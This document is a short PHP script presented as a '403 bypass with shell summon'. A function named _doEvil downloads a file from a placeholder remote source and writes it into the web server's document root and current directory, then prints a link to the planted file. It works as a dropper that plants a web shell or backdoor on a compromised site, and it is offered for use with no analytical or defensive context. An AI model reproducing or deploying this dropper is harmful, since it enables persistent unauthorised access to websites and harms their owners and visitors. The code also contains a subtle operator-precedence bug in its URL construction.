[PHP] 403 Bypass with Shell Summon

<?php
/*
    403 FORBIDDEN BYPASS
    WITH BACKDOOR RECALL / SHELL SUMMON
*/
$source = "Link";
$name = "filename.php";

function _doEvil($name, $file) {
    $filename = $name;
    $getFile = file_get_contents($file);
    $rootPath = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
    $toRootFopen = fopen("$rootPath/$filename",'w');
    $toRootExec = fwrite($toRootFopen, $getFile);
    $rootShellUrl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]"."/$filename";
    $realPath = getcwd().DIRECTORY_SEPARATOR;
    $toRealFopen = fopen("$realPath/$filename",'w');
    $toRealExec = fwrite($toRealFopen, $getFile);
    $realShellUrl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]".dirname($_SERVER[REQUEST_URI])."/$filename";
    echo "<center>";
    if($toRootExec) {
        if(file_exists($rootPath."$filename")) {
            echo "<h1><font color=\"#00FF00\">[OK!] <a href=\"$rootShellUrl\" target=\"_blank\">$rootShellUrl</a></font></h1>";
        }
        else {
            echo "<h1><font color=\"red\">$rootPath$filename<br>Doesn't exist!</font>Try with another method!</h1>";
        }
    }
    else {
        if($toRealExec) {
            if(file_exists($realPath."$filename")) {
                echo "<h1><font color=\"#00FF00\">[OK!] <a href=\"$realShellUrl\" target=\"_blank\">$realShellUrl</a></font></h1>";
            }
            else {
                echo "<h1><font color=\"red\">FAILED!</font></h1>";
            }
        }
    }
    echo "</center>";
}
_doEvil($name, $source);
?>